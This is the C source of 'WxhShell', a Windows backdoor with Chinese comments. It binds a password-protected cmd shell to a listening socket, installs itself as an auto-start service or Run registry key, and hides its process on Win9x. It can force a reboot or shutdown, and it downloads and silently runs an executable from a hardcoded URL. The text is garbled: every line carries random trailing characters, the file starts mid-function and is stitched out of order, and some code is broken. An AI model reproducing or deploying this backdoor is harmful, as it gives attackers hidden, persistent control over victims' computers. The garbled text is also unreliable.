    if(Boot(SHUTDOWN)) jOE~?{8m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `X=2Ff  
    else { 5@:c6(5$  
    closesocket(wsh); 1z#0CX}Y/H  
    ExitThread(0); dV:vM9+x  
    } f<Co&^A  
    break; Uc?4!{$X  
    } JyfWy  
  // 获取shell d{gj8  
  case 's': { r=`]L-}V  
    CmdShell(wsh); #Fl5]> |  
    closesocket(wsh); *1>zE>nlP  
    ExitThread(0); Bl >)GX\l  
    break; s--\<v  
  } ,o_Ur.UJ  
  // 退出 Py3Y*YP  
  case 'x': { 0VA$ Ige  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uPp9 UW  
    CloseIt(wsh); WN_i-A1G/h  
    break; J4xJGO  
    } uqN:I)>[P  
  // 离开 s-z*Lq*  
  case 'q': { QIcg4\d%s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9T#JlV  
    closesocket(wsh); EE^ N01<"\  
    WSACleanup(); 1l~(J:DT  
    exit(1); Y XBU9T{r  
    break; (Vvs:h%H  
        } Ep@NT+VnI  
  } //ZYN2lT4  
  } z;74(5?q  
I|{A&G}|q  
  // 提示信息 Z Rjqjx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3=SN;cn  
} D+y_&+&,t  
  } fuwv,[m  
8:iu 8c$  
  return; N@z+h  
} T9N&Nh7 3  
syseYt]  
// shell模块句柄 Yy_o*Ozq  
int CmdShell(SOCKET sock) z@_ 9.n]  
{ 6*cY[R|q!  
STARTUPINFO si; @ eQo  
ZeroMemory(&si,sizeof(si)); w'Cn3b)`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5T,In+~Kd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P/'9k0zs)  
PROCESS_INFORMATION ProcessInfo; +Yuy%VT  
char cmdline[]="cmd"; "n4' \ig  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0UHX Li47Y  
  return 0; B;ro(R  
} $?dAO}f3O)  
5:=ECtKi  
// 自身启动模式 sbZ^BFqp  
int StartFromService(void) x+L G4++  
{ 0%m}tfQ5  
typedef struct vE9M2[TJA  
{  F%}0q&  
  DWORD ExitStatus; p PF]&:&-b  
  DWORD PebBaseAddress; l9 K 3E<g  
  DWORD AffinityMask; E8:4Z$|c  
  DWORD BasePriority; *@C4~Zo  
  ULONG UniqueProcessId; N1O& fMz  
  ULONG InheritedFromUniqueProcessId; s`bC?wr5h  
}   PROCESS_BASIC_INFORMATION; A(xCW+h@)  
zeXMi:X  
PROCNTQSIP NtQueryInformationProcess; `$X|VAS2  
8@S5P$b};  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %o~w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2WA =U]  
mNvK|bTUT  
  HANDLE             hProcess; N'#Lb0`B  
  PROCESS_BASIC_INFORMATION pbi; CD]2a@j {  
=h083|y>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'pUJlPGx  
  if(NULL == hInst ) return 0; WF6'mg^^?  
sF/X#GG-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L?@ TF;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /R_*u4}iD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s1[_Pk;!  
bEXm@-ou  
  if (!NtQueryInformationProcess) return 0; .Y.{j4[LQ  
eBK s-2r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4E Hb  
  if(!hProcess) return 0; NjTVinz  
U2tsHm.O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `q ;79t  
2Qoj>Wy{  
  CloseHandle(hProcess); A0NNB%4|/  
tGKIJ`w*h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~~.v*C[  
if(hProcess==NULL) return 0; U#B,Q6~  
YzcuS/~x  
HMODULE hMod; :qx>P_&y}z  
char procName[255]; Z66b>.<8  
unsigned long cbNeeded; MuQBn7F{c  
E0nR Vg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  V/0?0VKG  
IH$R X GL  
  CloseHandle(hProcess); A%VBBvk  
;x[F4d  
if(strstr(procName,"services")) return 1; // 以服务启动 ,RkL|'1l  
x04JU$@  
  return 0; // 注册表启动 sP0pw]!  
} dBV^Khf J  
x 5u.D^  
// 主模块 C +-<  
int StartWxhshell(LPSTR lpCmdLine) ZKG S?z  
{ $z7[RLu0!  
  SOCKET wsl; 9`8\<a'rU  
BOOL val=TRUE; +[ _)i9a  
  int port=0; 8F$b/Z  
  struct sockaddr_in door; w"CcWng1  
vT<q zN  
  if(wscfg.ws_autoins) Install(); s$Il;  
TA47lz q  
port=atoi(lpCmdLine); 7'[C+/:  
#]s>  
if(port<=0) port=wscfg.ws_port; Z=O2tR  
7Q<uk[d0  
  WSADATA data; +uF!.!}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~Od4( }/G  
Sx,O)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K_V44f1f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @jW_ r j:<  
  door.sin_family = AF_INET; i<g|+}I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O&# bC  
  door.sin_port = htons(port); o7feH 6Sh  
(}Ql#q K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #vy:aq<bjE  
closesocket(wsl); t)o #!)|  
return 1; (/&IBd-  
} JM{S49Lx  
%h** L'~``  
  if(listen(wsl,2) == INVALID_SOCKET) { H|='|k5Y.  
closesocket(wsl); 28[dTsd%  
return 1; F|*{Ma  
} d{.cIv  
  Wxhshell(wsl); a;Ic!:L  
  WSACleanup(); {~ yj]+Im  
PUB|XgQDY:  
return 0; =*.Nt*;;  
4z-sR/d  
} EXDtVa Ot  
j%iz>  
// 以NT服务方式启动 dbkccO}WB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %3e}YQe)  
{ e~r%8.Wm  
DWORD   status = 0; 5_+vjV;5  
  DWORD   specificError = 0xfffffff; -OpI,qyS  
4#uWj ?u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $Yt29AQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \#5t%t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M}4%LjD  
  serviceStatus.dwWin32ExitCode     = 0; O6P0Am7s  
  serviceStatus.dwServiceSpecificExitCode = 0; 07"dU  
  serviceStatus.dwCheckPoint       = 0; \5^#5_<  
  serviceStatus.dwWaitHint       = 0; wTFM:N  
4Vj|k\vE4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Lj"~6l`)  
  if (hServiceStatusHandle==0) return; xm>RLx}9  
DCb\ =E  
status = GetLastError(); ze Qgg|;  
  if (status!=NO_ERROR) c,KT1me  
{ YzU(U_g$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L0SeG:  
    serviceStatus.dwCheckPoint       = 0; &I.UEF2,  
    serviceStatus.dwWaitHint       = 0; mt7}1s,i[  
    serviceStatus.dwWin32ExitCode     = status; /%Bc*k=ox  
    serviceStatus.dwServiceSpecificExitCode = specificError; sk!v!^\_r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t=iSMe  
    return; 9+.0ZP?  
  } B^Q\l!r  
SMaC{RPQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; krZ J"`  
  serviceStatus.dwCheckPoint       = 0; v'B++-%  
  serviceStatus.dwWaitHint       = 0; PIo/|1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QBa1c-Y  
} Cz x U @  
1TfK"\  
// 处理NT服务事件,比如:启动、停止 v?rjQ'OP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gZgb-$b  
{ a +Q9kh  
switch(fdwControl) Q44Pg$jp  
{ ks7g*; 3{@  
case SERVICE_CONTROL_STOP: 38! $9)  
  serviceStatus.dwWin32ExitCode = 0; k,M%/AXd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 693J?Yah[  
  serviceStatus.dwCheckPoint   = 0; cu|gM[  
  serviceStatus.dwWaitHint     = 0; $rDeI-)S  
  { @D8c-`LC"*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rX6"w31  
  } m;{_%oQ;  
  return; cj-P&D[Ny[  
case SERVICE_CONTROL_PAUSE: .]%PnJM9K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qIK"@i[ uq  
  break; cD^n}'ej  
case SERVICE_CONTROL_CONTINUE: Rd;k>e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R8UtX9'*sa  
  break; oK@!yYv  
case SERVICE_CONTROL_INTERROGATE: S =q.Y  
  break; Lm\N`  
}; .ps'{rl8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +ex@[grsGT  
} Mn$TWhg'  
XJsHy_6  
// 标准应用程序主函数 =)m2u2c M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UiA\J  
{  ~%_$e/T  
h@FDP#H  
// 获取操作系统版本 CJk$o K{Q  
OsIsNt=GetOsVer(); O>xGH0H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .&.j?kb  
E\#hcvP  
  // 从命令行安装 $x 6Rmd{  
  if(strpbrk(lpCmdLine,"iI")) Install(); [o<R#f`  
/j./  
  // 下载执行文件 :kqJ~  
if(wscfg.ws_downexe) { Dna0M0   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $"C]y$}  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0 V*Di2  
} ~WU _u,:  
oabc=N!7r  
if(!OsIsNt) { {bL6%._C  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,Cj1S7GFR  
HideProc(); /K2VSj3\  
StartWxhshell(lpCmdLine); tYiK#N7  
} w"$CV@AJ  
else R6] /g  
  if(StartFromService()) ,xB&{ J  
  // 以服务方式启动 Bv \ihUg/  
  StartServiceCtrlDispatcher(DispatchTable); ,K .P,z~*  
else Ojq>4=Z\  
  // 普通方式启动 uQWJ7Xm  
  StartWxhshell(lpCmdLine); `C`CU?D  
vb)Z&V6(  
return 0; EsXCi2]1  
} D4<nS<8  
Bp 6jF2  
}rsD$  
x)l}d3   
=========================================== !!4_x  
dON 4r2-yC  
qI\qpWS\  
oL>m}T  
<",4O  
/J`8Gk59  
" 5#s?rA%u  
f:\jPkf'  
#include <stdio.h> &Qy_= -]  
#include <string.h> bKj#HHy\I  
#include <windows.h> X0J@c "%0  
#include <winsock2.h> a \B<(R.  
#include <winsvc.h> "0 \U>h  
#include <urlmon.h> 4%~$A`7  
w|gtb~oh  
#pragma comment (lib, "Ws2_32.lib") AJ[g~ s't  
#pragma comment (lib, "urlmon.lib") mZ3i#a4  
6c>t|=Ss(  
#define MAX_USER   100 // 最大客户端连接数 1HL}tG?+#  
#define BUF_SOCK   200 // sock buffer U|6ME%xm  
#define KEY_BUFF   255 // 输入 buffer Sx+.<]t2A  
\ }>1$kH;  
#define REBOOT     0   // 重启 XWZ *{/u  
#define SHUTDOWN   1   // 关机 "2(lgxhj  
ym:^Y-^iV  
#define DEF_PORT   5000 // 监听端口 5WgdgDb@L  
DtG><g}[]  
#define REG_LEN     16   // 注册表键长度 |1X^@  
#define SVC_LEN     80   // NT服务名长度 ~Y@(  
e4u$+  
// 从dll定义API qCOv4b`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >/nS<y>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VS@o_fUx)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .cN\x@3-j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (p26TN;*$5  
%h 6?/  
// wxhshell配置信息 )Xg,;^  
struct WSCFG { H>_ FCV8  
  int ws_port;         // 监听端口 p{xO+Nx1a  
  char ws_passstr[REG_LEN]; // 口令 lidzs<W-fW  
  int ws_autoins;       // 安装标记, 1=yes 0=no RxU6.5N  
  char ws_regname[REG_LEN]; // 注册表键名 YFOSv]w  
  char ws_svcname[REG_LEN]; // 服务名 iJIPH>UMX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !/ TeTmo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q0{KYWOvk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B2:6=8<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1U.se` L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y>geP+ -  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 96T.xT>&  
HE(|x 1C)j  
}; dN\Byl(6  
P;bl+a'gu  
// default Wxhshell configuration BRYhL|d~.  
struct WSCFG wscfg={DEF_PORT, 5_ -YF~  
    "xuhuanlingzhe", 5 :6^533]  
    1, H`C DfTy  
    "Wxhshell", "pdmz+k8S  
    "Wxhshell", I0P)DR  
            "WxhShell Service", bPEf2Z G4  
    "Wrsky Windows CmdShell Service", ;X-~C.7k  
    "Please Input Your Password: ", FFb`4.  
  1, Enm#\(j  
  "http://www.wrsky.com/wxhshell.exe", ;0O3b  
  "Wxhshell.exe" q]YPDdR#  
    }; "8%B (a 5A  
hH[UIe  
// 消息定义模块 xK9"t;!C&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uS<7X7|!0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =z'- B~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K#H}=Y A  
char *msg_ws_ext="\n\rExit."; :&}(?=<R}L  
char *msg_ws_end="\n\rQuit."; 7S LJLn3d  
char *msg_ws_boot="\n\rReboot..."; Ac'[(  
char *msg_ws_poff="\n\rShutdown..."; f305yo  
char *msg_ws_down="\n\rSave to "; I]bqle0M  
evNo(U\C  
char *msg_ws_err="\n\rErr!"; 3Ba>a(E  
char *msg_ws_ok="\n\rOK!"; v+f:VA  
a'U7 t  
char ExeFile[MAX_PATH]; I-oI,c%+  
int nUser = 0; >(S4h}^I  
HANDLE handles[MAX_USER]; <#<4A0:  
int OsIsNt; QCQku\GLV  
IlG)=?8XZ  
SERVICE_STATUS       serviceStatus; Wz}RJC7p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i`)bn 1Xm  
eU 'DQp*  
// 函数声明 `G&W%CHB  
int Install(void); 0b+OB pqN  
int Uninstall(void); ~[d U%I>L^  
int DownloadFile(char *sURL, SOCKET wsh); 2Un~ Iy  
int Boot(int flag); 1OK,r`   
void HideProc(void); <DP_`[+C  
int GetOsVer(void); dqO!p6  
int Wxhshell(SOCKET wsl); {j@ S<PD  
void TalkWithClient(void *cs); =k6zUw;5 U  
int CmdShell(SOCKET sock); /uS(Z-@  
int StartFromService(void); e}yoy+9  
int StartWxhshell(LPSTR lpCmdLine); <h:>:%#k  
_+YCwg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0gO<]]M?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6Ae<W7  
W.TZU'%  
// 数据结构和表定义 8 7P{vf#  
SERVICE_TABLE_ENTRY DispatchTable[] = [~9rp]<  
{ #3vq+mcn  
{wscfg.ws_svcname, NTServiceMain}, Og[NRd+  
{NULL, NULL} jOj`S%7  
}; 7yo/ sb9h  
X5UcemO  
// 自我安装 l:mC'aR  
int Install(void) PhW< )B]  
{ 3IQ)%EN  
  char svExeFile[MAX_PATH]; <-62m8N|  
  HKEY key; &S}%)g%Iv9  
  strcpy(svExeFile,ExeFile); n0g,r/  
..6 : _{wg  
// 如果是win9x系统,修改注册表设为自启动 rq?:I:0  
if(!OsIsNt) { Qg;A (\z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O^ZOc0<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4of3#M  
  RegCloseKey(key); L&M6s f$N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~L(=-B`Ow  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yPrp:%PS  
  RegCloseKey(key); u H[d%y/  
  return 0; +6 t<FH  
    } 2:'C|  
  } //cj$}Rn!  
} HKr")K%  
else { im{'PgiR  
yzr>]"o  
// 如果是NT以上系统,安装为系统服务 |3{DlZ2S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j_S///  
if (schSCManager!=0) rOQhS]TP*  
{ >ch{u{i6  
  SC_HANDLE schService = CreateService v9R#=m/=  
  ( jV Yt=j*"V  
  schSCManager, +^tq?PfE  
  wscfg.ws_svcname, YY-{&+,  
  wscfg.ws_svcdisp, nD6mLNi%a  
  SERVICE_ALL_ACCESS, CY;ML6c@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G6K;3B  
  SERVICE_AUTO_START, ( ,1}P  
  SERVICE_ERROR_NORMAL, b:3n)-V{u  
  svExeFile, +g,:!5pg  
  NULL, Gc2sY 0  
  NULL, S!Ue+jW  
  NULL, {|?OKCG{  
  NULL, ~ l"70\&  
  NULL Cc*"cQe  
  ); wLwAtjW)  
  if (schService!=0) 1];rW`Bw  
  { N"M K 0k  
  CloseServiceHandle(schService); EeGP E  
  CloseServiceHandle(schSCManager); ModwJ w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "+3p??h%Rq  
  strcat(svExeFile,wscfg.ws_svcname); }@MOkj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >!O3 jb k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Nf8."EDUW  
  RegCloseKey(key); YSwAu,$jf  
  return 0; !Cxo4Twg  
    } wHm{4  
  } LX),oR  
  CloseServiceHandle(schSCManager); XH4!|wz  
} PmOm>  
} )1ia;6}  
7[5g_D t  
return 1; Gxu   
} 2|]$hjs  
-y]\;pbZ0  
// 自我卸载 N %N %  
int Uninstall(void) f!hQ"1[  
{ L6`(YX.:  
  HKEY key; Eyi^N0  
`s#0/t  
if(!OsIsNt) { jn vJ`7zFP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :e>y= s>  
  RegDeleteValue(key,wscfg.ws_regname); *(6vO{  
  RegCloseKey(key); wY|&qX,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W^; wr#  
  RegDeleteValue(key,wscfg.ws_regname); P5s'cPX  
  RegCloseKey(key); K  +n  
  return 0; 4cJ7W_ >i6  
  } gTWl];xja  
} MMg"G6?  
} [of{~  
else { \Z9+U:n  
hZ NS$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7=C$*)x  
if (schSCManager!=0) *i zPLM}+  
{ *sK")Q4N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kKr|PFz  
  if (schService!=0) I>ks H  
  { X`bN/sI  
  if(DeleteService(schService)!=0) { _j{^I^P  
  CloseServiceHandle(schService); {~NiGH Y  
  CloseServiceHandle(schSCManager); mh`~1aEr  
  return 0; Eukj2 a  
  } )RA$E`!b  
  CloseServiceHandle(schService); QX}O{LQR  
  } v0euvs  
  CloseServiceHandle(schSCManager); x'Pp!  
} eh_ {-  
} $YuVM  
c{4C4'GD  
return 1; D?;8bI%"  
} 2)}ic2]pn  
g]au|$L4  
// 从指定url下载文件 P 1`X<A  
int DownloadFile(char *sURL, SOCKET wsh) z5G<h  
{ <)n8lIK  
  HRESULT hr; # \9sCnb  
char seps[]= "/"; #T<<{ RA  
char *token; S1oRMd)r  
char *file; 5dc24GB>_  
char myURL[MAX_PATH]; :SFcnYv0  
char myFILE[MAX_PATH]; UjLZ!-}  
RbB y8ZVM  
strcpy(myURL,sURL); Zp'c>ty=  
  token=strtok(myURL,seps); [ySO  
  while(token!=NULL) N&g9z{m7  
  { mFCDwh]  
    file=token; nXHU|5.I  
  token=strtok(NULL,seps); 1haH2F^ q3  
  } XBQ]A89G  
,iKEIxA!  
GetCurrentDirectory(MAX_PATH,myFILE); <aps)vF  
strcat(myFILE, "\\"); gC^4K9g  
strcat(myFILE, file); t\LAotTF/  
  send(wsh,myFILE,strlen(myFILE),0); I2G4j/c=z  
send(wsh,"...",3,0); On%21L;JG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Hc.r/  
  if(hr==S_OK) (p4|,\+  
return 0; 9_yO 6)`  
else pw;  
return 1; "fWAp*nI3t  
tMM *m  
} 0I6[`*|SX  
S[!sJ-rG  
// 系统电源模块 & h)G>Sqc  
int Boot(int flag) /H 3u^  
{ Vs@[="  
  HANDLE hToken; AITV+=sN  
  TOKEN_PRIVILEGES tkp; PDN3=PAR/A  
.48Csc-  
  if(OsIsNt) { E ]eVoC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gG"W~O)yv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4w p5ghe  
    tkp.PrivilegeCount = 1; D)C^'/8q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &8VB{S>r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b[+G+V   
if(flag==REBOOT) { ^7Sk`V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [I/f(GK  
  return 0; 4`Com~`6"  
} >KF1]/y<  
else { *n9t~t6GHg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) so[i"ZM)  
  return 0; pfd||Z  
} {}F?eI  
  } .hI3Uv8[  
  else { Yphru"\$  
if(flag==REBOOT) { 1rs`|iX5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nNbOq[  
  return 0; RmXC ^VQ  
} IIC1T{D}v  
else { W)WL1@!Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qs\ O(K8  
  return 0; A2Je*Gz  
} 29:1crzx~  
} }T<[JXh=J  
);4lM%]eb  
return 1; r>v_NKS]t  
} eq^<5 f  
 ByP  
// win9x进程隐藏模块  Fa  
void HideProc(void) $nR1AOm}.B  
{ qmzg68  
jKFypIZ4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r!/=Iy@  
  if ( hKernel != NULL ) py9zDWk~  
  { R@lmX%Z1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qJq49}2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UhQsT^b_  
    FreeLibrary(hKernel); {(mT,}`4  
  } rn1^6qy)  
sW/^82(dM  
return; oU }eAZj{  
} #qL?;Zh0S  
H|a9};pO\  
// 获取操作系统版本 h-0sDt pR  
int GetOsVer(void) 'FB?#C%U  
{ 9uk}r; %9  
  OSVERSIONINFO winfo; FD?!bI4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jJ^p ?  
  GetVersionEx(&winfo); VCOz?Y*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y*ae 5=6(  
  return 1; S+c)  
  else J%|!KQl  
  return 0; 25xpq^Zw  
} eKd F-;  
D ff0$06Nq  
// 客户端句柄模块 , sEu[m  
int Wxhshell(SOCKET wsl) XA8{N  
{ $JKR,   
  SOCKET wsh; .~#<>  
  struct sockaddr_in client; cID{X&or  
  DWORD myID; H{*~d+:ol  
p4m9@ \gn  
  while(nUser<MAX_USER) anwMG0  
{ .+1.??8:+  
  int nSize=sizeof(client); /P<K)a4GM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jb'l.xN  
  if(wsh==INVALID_SOCKET) return 1; ZA4NVt.yN  
jq6BwUN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BMlnzi  
if(handles[nUser]==0) Lf+M +^l  
  closesocket(wsh); md`PRZzj@  
else 0(A(Vb5J.T  
  nUser++; Jv  
  } an+`>}]F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lq2P10j@  
b!W!Vvf^x  
  return 0; HCP' V  
} ~Yrtz   
`<I+(8]Uz  
// 关闭 socket aAY=0rCI-  
void CloseIt(SOCKET wsh) Ns.b8Y  
{ O`2;n.>\  
closesocket(wsh); EsA)o 5  
nUser--; N(<4nAE  
ExitThread(0); ElNKCj<M  
} w_-v!s2  
}S{#DgZ@X  
// 客户端请求句柄 RhVQVjc  
void TalkWithClient(void *cs) fp^!?u  
{ ve|:z  
${"+bWG2G!  
  SOCKET wsh=(SOCKET)cs; ?m3,e&pB5  
  char pwd[SVC_LEN]; xA|72!zk0P  
  char cmd[KEY_BUFF]; Fl,(KST z  
char chr[1]; c}9.Or`?  
int i,j; YGVj$\  
NP%Y\%;l6  
  while (nUser < MAX_USER) { |G.|ocj;  
96fzSZS,  
if(wscfg.ws_passstr) { LfD7 0r\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YXCfP~i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9I0}:J;7  
  //ZeroMemory(pwd,KEY_BUFF); m'h`%0Tc  
      i=0; JGH;&UYP  
  while(i<SVC_LEN) { qsnZ?hXPp  
s53 Pw>f  
  // 设置超时 h WvQh  
  fd_set FdRead; R +H0+omj  
  struct timeval TimeOut; <uXZ*E  
  FD_ZERO(&FdRead); cPcp@Dp  
  FD_SET(wsh,&FdRead); _97A9wHj  
  TimeOut.tv_sec=8; VUF^ r7e  
  TimeOut.tv_usec=0; o#V}l^uU=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gni<@;}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #QdBI{2  
@y,pf Wh`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d_CY=DHF%`  
  pwd=chr[0]; 5c?1JH62o8  
  if(chr[0]==0xd || chr[0]==0xa) { O)g\/uRy  
  pwd=0; D/1{v  
  break; 2y6 e]D  
  } ml=tS,  
  i++; Ew>E]Ys  
    } ?LU]O\p  
{ETuaFDM   
  // 如果是非法用户,关闭 socket *n $=2v^A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gkDyWZG B  
} \XaKq8uE  
qKX3Npw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &)?ECj0`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -ea":}/  
EHByo[  
while(1) { <-xI!o"}  
"F nH>g-  
  ZeroMemory(cmd,KEY_BUFF); qV^Z@N+,  
E/MD]ox  
      // 自动支持客户端 telnet标准   w'NL\>  
  j=0; 3ZO\P u  
  while(j<KEY_BUFF) { `Paz   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j2A Z.s  
  cmd[j]=chr[0]; 4+fWIY1 "  
  if(chr[0]==0xa || chr[0]==0xd) { 9VyY [&  
  cmd[j]=0; R"NR-iU  
  break; J[6`$$l0  
  } Ke0j8|  
  j++; :77dl/d%  
    } ]"Y? ZS;H  
G:'hT=8  
  // 下载文件 xVOoYr>O  
  if(strstr(cmd,"http://")) { fUy:TCS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SJ(<u2J]  
  if(DownloadFile(cmd,wsh)) |X:"AH"S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X wvH  
  else eEvE3=,hg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V^9c:!aI  
  } G.CkceWRn  
  else { ~\;s}Fv.  
JDi\?m d.  
    switch(cmd[0]) { _.b^4^[  
  u-yVc*<,  
  // 帮助 R(jp  
  case '?': { b^WTX  
